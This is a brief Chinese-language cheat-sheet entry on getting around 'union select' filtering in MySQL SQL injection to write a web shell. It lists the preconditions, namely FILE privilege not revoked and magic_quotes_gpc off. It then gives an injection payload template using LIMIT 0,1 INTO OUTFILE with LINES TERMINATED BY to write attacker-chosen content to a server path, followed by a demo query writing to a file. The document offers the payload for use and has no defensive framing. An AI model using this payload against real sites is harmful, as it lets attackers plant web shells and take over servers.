过滤union select 写webshell

满足条件

1. mysql未降权 未关闭file权限

2. gpc关闭

LIMIT 0,1 INTO OUTFILE '这里是路径' LINES TERMINATED BY '这里是你想写的内容'--

SELECT * FROM `user` where  user='root' LIMIT 0,1 INTO OUTFILE 'D:/xxxxx/demo.txt' LINES TERMINATED BY 'demo';